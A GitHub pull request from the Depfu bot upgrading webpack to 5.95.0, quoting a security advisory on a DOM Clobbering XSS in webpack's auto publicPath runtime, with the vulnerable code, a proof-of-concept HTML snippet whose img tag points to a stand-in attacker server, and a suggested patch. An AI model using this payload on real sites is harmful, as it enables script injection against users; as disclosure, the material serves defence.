Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

🚨 [security] Update webpack 2.2.1 → 5.95.0 (major) #469

Open
wants to merge 1 commit into
base: master
Choose a base branch
from

Conversation

depfu[bot]
Copy link

@depfu depfu bot commented Oct 23, 2024


🚨 Your current dependencies have known security vulnerabilities 🚨

This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!


Here is everything you need to know about this upgrade. Please take a good look at what changed and the test results before merging this pull request.

What changed?

✳️ webpack (2.2.1 → 5.95.0) · Repo

Security Advisories 🚨

🚨 Webpack's AutoPublicPathRuntimeModule has a DOM Clobbering Gadget that leads to XSS

Summary

We discovered a DOM Clobbering vulnerability in Webpack’s AutoPublicPathRuntimeModule. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

We found the real-world exploitation of this gadget in the Canvas LMS which allows XSS attack happens through an javascript code compiled by Webpack (the vulnerable part is from Webpack). We believe this is a severe issue. If Webpack’s code is not resilient to DOM Clobbering attacks, it could lead to significant security vulnerabilities in any web application using Webpack-compiled code.

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadgets found in Webpack

We identified a DOM Clobbering vulnerability in Webpack’s AutoPublicPathRuntimeModule. When the output.publicPath field in the configuration is not set or is set to auto, the following code is generated in the bundle to dynamically resolve and load additional JavaScript files:

/******/ 	/* webpack/runtime/publicPath */
/******/ 	(() => {
/******/ 		var scriptUrl;
/******/ 		if (__webpack_require__.g.importScripts) scriptUrl = __webpack_require__.g.location + "";
/******/ 		var document = __webpack_require__.g.document;
/******/ 		if (!scriptUrl && document) {
/******/ 			if (document.currentScript)
/******/ 				scriptUrl = document.currentScript.src;
/******/ 			if (!scriptUrl) {
/******/ 				var scripts = document.getElementsByTagName("script");
/******/ 				if(scripts.length) {
/******/ 					var i = scripts.length - 1;
/******/ 					while (i > -1 && (!scriptUrl || !/^http(s?):/.test(scriptUrl))) scriptUrl = scripts[i--].src;
/******/ 				}
/******/ 			}
/******/ 		}
/******/ 		// When supporting browsers where an automatic publicPath is not supported you must specify an output.publicPath manually via configuration
/******/ 		// or pass an empty string ("") and set the __webpack_public_path__ variable from your code to use your own logic.
/******/ 		if (!scriptUrl) throw new Error("Automatic publicPath is not supported in this browser");
/******/ 		scriptUrl = scriptUrl.replace(/#.*$/, "").replace(/\?.*$/, "").replace(/\/[^\/]+$/, "/");
/******/ 		__webpack_require__.p = scriptUrl;
/******/ 	})();

However, this code is vulnerable to a DOM Clobbering attack. The lookup on the line with document.currentScript can be shadowed by an attacker, causing it to return an attacker-controlled HTML element instead of the current script element as intended. In such a scenario, the src attribute of the attacker-controlled element will be used as the scriptUrl and assigned to __webpack_require__.p. If additional scripts are loaded from the server, __webpack_require__.p will be used as the base URL, pointing to the attacker's domain. This could lead to arbitrary script loading from the attacker's server, resulting in severe security risks.

PoC

Please note that we have identified a real-world exploitation of this vulnerability in the Canvas LMS. Once the issue has been patched, I am willing to share more details on the exploitation. For now, I’m providing a demo to illustrate the concept.

Consider a website developer with the following two scripts, entry.js and import1.js, that are compiled using Webpack:

// entry.js
import('./import1.js')
  .then(module => {
    module.hello();
  })
  .catch(err => {
    console.error('Failed to load module', err);
  });
// import1.js
export function hello () {
  console.log('Hello');
}

The webpack.config.js is set up as follows:

const path = require('path');

module.exports = {
entry: './entry.js', // Ensure the correct path to your entry file
output: {
filename: 'webpack-gadgets.bundle.js', // Output bundle file
path: path.resolve(__dirname, 'dist'), // Output directory
publicPath: "auto", // Or leave this field not set
},
target: 'web',
mode: 'development',
};

When the developer builds these scripts into a bundle and adds it to a webpage, the page could load the import1.js file from the attacker's domain, attacker.controlled.server. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.

<!DOCTYPE html>
<html>
<head>
  <title>Webpack Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script src="./dist/webpack-gadgets.bundle.js"></script>
<body>
</body>
</html>

Impact

This vulnerability can lead to cross-site scripting (XSS) on websites that include Webpack-generated files and allow users to inject certain scriptless HTML tags with improperly sanitized name or id attributes.

Patch

A possible patch to this vulnerability could refer to the Google Closure project which makes itself resistant to DOM Clobbering attack: https://github.com/google/closure-library/blob/b312823ec5f84239ff1db7526f4a75cba0420a33/closure/goog/base.js#L174

/******/ 	/* webpack/runtime/publicPath */
/******/ 	(() => {
/******/ 		var scriptUrl;
/******/ 		if (__webpack_require__.g.importScripts) scriptUrl = __webpack_require__.g.location + "";
/******/ 		var document = __webpack_require__.g.document;
/******/ 		if (!scriptUrl && document) {
/******/ 			if (document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT') // Assume attacker cannot control script tag, otherwise it is XSS already :>
/******/ 				scriptUrl = document.currentScript.src;
/******/ 			if (!scriptUrl) {
/******/ 				var scripts = document.getElementsByTagName("script");
/******/ 				if(scripts.length) {
/******/ 					var i = scripts.length - 1;
/******/ 					while (i > -1 && (!scriptUrl || !/^http(s?):/.test(scriptUrl))) scriptUrl = scripts[i--].src;
/******/ 				}
/******/ 			}
/******/ 		}
/******/ 		// When supporting browsers where an automatic publicPath is not supported you must specify an output.publicPath manually via configuration
/******/ 		// or pass an empty string ("") and set the __webpack_public_path__ variable from your code to use your own logic.
/******/ 		if (!scriptUrl) throw new Error("Automatic publicPath is not supported in this browser");
/******/ 		scriptUrl = scriptUrl.replace(/#.*$/, "").replace(/\?.*$/, "").replace(/\/[^\/]+$/, "/");
/******/ 		__webpack_require__.p = scriptUrl;
/******/ 	})();

Please note that if we do not receive a response from the development team within three months, we will disclose this vulnerability to the CVE agent.

🚨 Cross-realm object access in Webpack 5

Webpack 5 before 5.76.0 does not avoid cross-realm object access. ImportParserPlugin.js mishandles the magic comment feature. An attacker who controls a property of an untrusted object can obtain access to the real global object.

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by 61 commits:

↗️ enhanced-resolve (indirect, 3.4.1 → 5.17.1) · Repo

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ events (indirect, 3.2.0 → 3.3.0) · Repo · Changelog

Release Notes

3.3.0

  • Support EventTarget emitters in events.once from Node.js 12.11.0.

    Now you can use the events.once function with objects that implement the EventTarget interface. This interface is used widely in
    the DOM and other web APIs.

    var events = require('events');
    var assert = require('assert');
    

    async function connect() {
    var ws = new WebSocket('wss://example.com');
    await events.once(ws, 'open');
    assert(ws.readyState === WebSocket.OPEN);
    }

    async function onClick() {
    await events.once(document.body, 'click');
    alert('you clicked the page!');
    }

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 12 commits:

↗️ loader-runner (indirect, 2.4.0 → 4.3.0) · Repo

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ tapable (indirect, 0.2.9 → 2.2.1) · Repo

Release Notes

2.2.1

Developer Experience

  • fix some incorrect typings

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ watchpack (indirect, 1.7.4 → 2.4.2) · Repo

Release Notes

2.4.2

Bugfixes

  • handle empty strings and arrays in ignored

2.4.1

Bugfixes

  • do not report directory as initial missing on the second watch

2.4.0

Bugfixes

  • respect filesystem accuracy more accurately

2.3.0

Features

  • allow to grab separate file and directory time info objects
  • allow functions passed to the ignored option

Bugfixes

  • ignore EACCESS errors during initial scan

Performance

  • improve performance of watcher update

Contributing

  • CI tests node.js 17 too

2.1.1

Bugfix

  • fix warnings with ENOENT when symlinks are resolved by watchpack

2.1.0

Bugfix

  • use creation time instead of modified time for folder entries that are only watch for existence
    • fixes a problem where webpack rebuilds unnecessarily

2.0.1

Bugfix

  • fix incorrectly reported changes when attaching to an already watched directory

2.0.0

Features

  • Polling no longer uses fs.watchFile but polls the directory directly
  • add ignored option
  • add followSymlinks option
  • allow all Iterables instead of only Array passes as arguments
  • Changed API to take an options object
    • Old API is also accepted without warning (it may be deprecated in the next major)
  • emit remove event when files or directories are not found during initial scan
    • It's assumed that they are removed between reading and watching start
  • add watching of missing items
  • Support /RegExp/ for ignored option
  • limit maximum number of os watchers on OSX to 2000 and on windows to 10000
    • limit can be changed with WATCHPACK_WATCHER_LIMIT environment variable
    • once limit is reached watchers are merged into recursive watchers
  • merge multiple os watchers from watchers with different options into one os watcher
  • add logging of recursive watchers when WATCHPACK_RECURSIVE_WATCHER_LOGGING env var is set

Bugfixes

  • Normalize readdir result to NFC
  • Skip watching the root of the filesystem as file even when requested
  • use options identify instead of stringified options to merge watchers
  • removals and changes in the aggregated event no longer both contain a file
  • aggregateTimeout: 0 now works correctly
  • don't fire change events when files are only read
  • fix handling of renames that only change the casing of files on a case-insensitive filesystem

Performance

  • avoid calling process.nextTick when unneeded on watcher creation
  • cache time entry map in Watcher
  • close watchers faster
  • avoid an unneeded filter call

Dependencies

  • remove neo-async dependency to be smaller

Contributing

  • added prettier
  • node 14 in CI
  • test watcher limit of 1 on CI

Changes

  • increase minimum node.js version to 10
  • initial scan do not fire change events when no start time is provided
  • improve polling schedule to not try to poll faster than the scanning

1.7.5

Bugfixes

  • removed watchpack-chokidar2 notsup warning

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

🆕 @​jridgewell/gen-mapping (added, 0.3.5)

🆕 @​jridgewell/resolve-uri (added, 3.1.2)

🆕 @​jridgewell/set-array (added, 1.2.1)

🆕 @​jridgewell/source-map (added, 0.3.6)

🆕 @​jridgewell/sourcemap-codec (added, 1.5.0)

🆕 @​jridgewell/trace-mapping (added, 0.3.25)

🆕 @​types/estree (added, 1.0.6)

🆕 @​types/json-schema (added, 7.0.15)

🆕 @​types/node (added, 22.7.9)

🆕 @​webassemblyjs/ast (added, 1.12.1)

🆕 @​webassemblyjs/floating-point-hex-parser (added, 1.11.6)

🆕 @​webassemblyjs/helper-api-error (added, 1.11.6)

🆕 @​webassemblyjs/helper-buffer (added, 1.12.1)

🆕 @​webassemblyjs/helper-numbers (added, 1.11.6)

🆕 @​webassemblyjs/helper-wasm-bytecode (added, 1.11.6)

🆕 @​webassemblyjs/helper-wasm-section (added, 1.12.1)

🆕 @​webassemblyjs/ieee754 (added, 1.11.6)

🆕 @​webassemblyjs/leb128 (added, 1.11.6)

🆕 @​webassemblyjs/utf8 (added, 1.11.6)

🆕 @​webassemblyjs/wasm-edit (added, 1.12.1)

🆕 @​webassemblyjs/wasm-gen (added, 1.12.1)

🆕 @​webassemblyjs/wasm-opt (added, 1.12.1)

🆕 @​webassemblyjs/wasm-parser (added, 1.12.1)

🆕 @​webassemblyjs/wast-printer (added, 1.12.1)

🆕 @​xtuc/ieee754 (added, 1.2.0)

🆕 @​xtuc/long (added, 4.2.2)

🆕 acorn-import-attributes (added, 1.9.5)

🆕 caniuse-lite (added, 1.0.30001669)

🆕 chrome-trace-event (added, 1.0.4)

🆕 es-module-lexer (added, 1.5.4)

🆕 escalade (added, 3.2.0)

🆕 eslint-scope (added, 5.1.1)

🆕 glob-to-regexp (added, 0.4.1)

🆕 graceful-fs (added, 4.2.11)

🆕 jest-worker (added, 27.5.1)

🆕 json-parse-even-better-errors (added, 2.3.1)

🆕 merge-stream (added, 2.0.0)

🆕 node-releases (added, 2.0.18)

🆕 picocolors (added, 1.1.1)

🆕 schema-utils (added, 3.3.0)

🆕 serialize-javascript (added, 6.0.2)

🆕 terser (added, 5.36.0)

🆕 terser-webpack-plugin (added, 5.3.10)

🆕 undici-types (added, 6.19.8)

🆕 update-browserslist-db (added, 1.1.1)

🗑️ acorn-dynamic-import (removed)

🗑️ asn1.js (removed)

🗑️ assert (removed)

🗑️ bn.js (removed)

🗑️ brorand (removed)

🗑️ browserify-aes (removed)

🗑️ browserify-cipher (removed)

🗑️ browserify-des (removed)

🗑️ browserify-rsa (removed)

🗑️ browserify-sign (removed)

🗑️ browserify-zlib (removed)

🗑️ buffer-xor (removed)

🗑️ builtin-status-codes (removed)

🗑️ cipher-base (removed)

🗑️ console-browserify (removed)

🗑️ constants-browserify (removed)

🗑️ create-ecdh (removed)

🗑️ create-hash (removed)

🗑️ create-hmac (removed)

🗑️ crypto-browserify (removed)

🗑️ des.js (removed)

🗑️ diffie-hellman (removed)

🗑️ domain-browser (removed)

🗑️ elliptic (removed)

🗑️ errno (removed)

🗑️ evp_bytestokey (removed)

🗑️ hash-base (removed)

🗑️ hash.js (removed)

🗑️ hmac-drbg (removed)

🗑️ https-browserify (removed)

🗑️ md5.js (removed)

🗑️ memory-fs (removed)

🗑️ miller-rabin (removed)

🗑️ minimalistic-assert (removed)

🗑️ minimalistic-crypto-utils (removed)

🗑️ node-libs-browser (removed)

🗑️ os-browserify (removed)

🗑️ pako (removed)

🗑️ parse-asn1 (removed)

🗑️ path-browserify (removed)

🗑️ pbkdf2 (removed)

🗑️ process (removed)

🗑️ prr (removed)

🗑️ public-encrypt (removed)

🗑️ querystring-es3 (removed)

🗑️ randomfill (removed)

🗑️ ripemd160 (removed)

🗑️ sha.js (removed)

🗑️ stream-browserify (removed)

🗑️ stream-http (removed)

🗑️ timers-browserify (removed)

🗑️ to-arraybuffer (removed)

🗑️ tty-browserify (removed)

🗑️ url (removed)

🗑️ vm-browserify (removed)

🗑️ watchpack-chokidar2 (removed)


Depfu Status

Depfu will automatically keep this PR conflict-free, as long as you don't add any commits to this branch yourself. You can also trigger a rebase manually by commenting with @depfu rebase.

All Depfu comment commands
@​depfu rebase
Rebases against your default branch and redoes this update
@​depfu recreate
Recreates this PR, overwriting any edits that you've made to it
@​depfu merge
Merges this PR once your tests are passing and conflicts are resolved
@​depfu cancel merge
Cancels automatic merging of this PR
@​depfu close
Closes this PR and deletes the branch
@​depfu reopen
Restores the branch and reopens this PR (if it's closed)
@​depfu pause
Ignores all future updates for this dependency and closes this PR
@​depfu pause [minor|major]
Ignores all future minor/major updates for this dependency and closes this PR
@​depfu resume
Future versions of this dependency will create PRs again (leaves this PR as is)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

Successfully merging this pull request may close these issues.

0 participants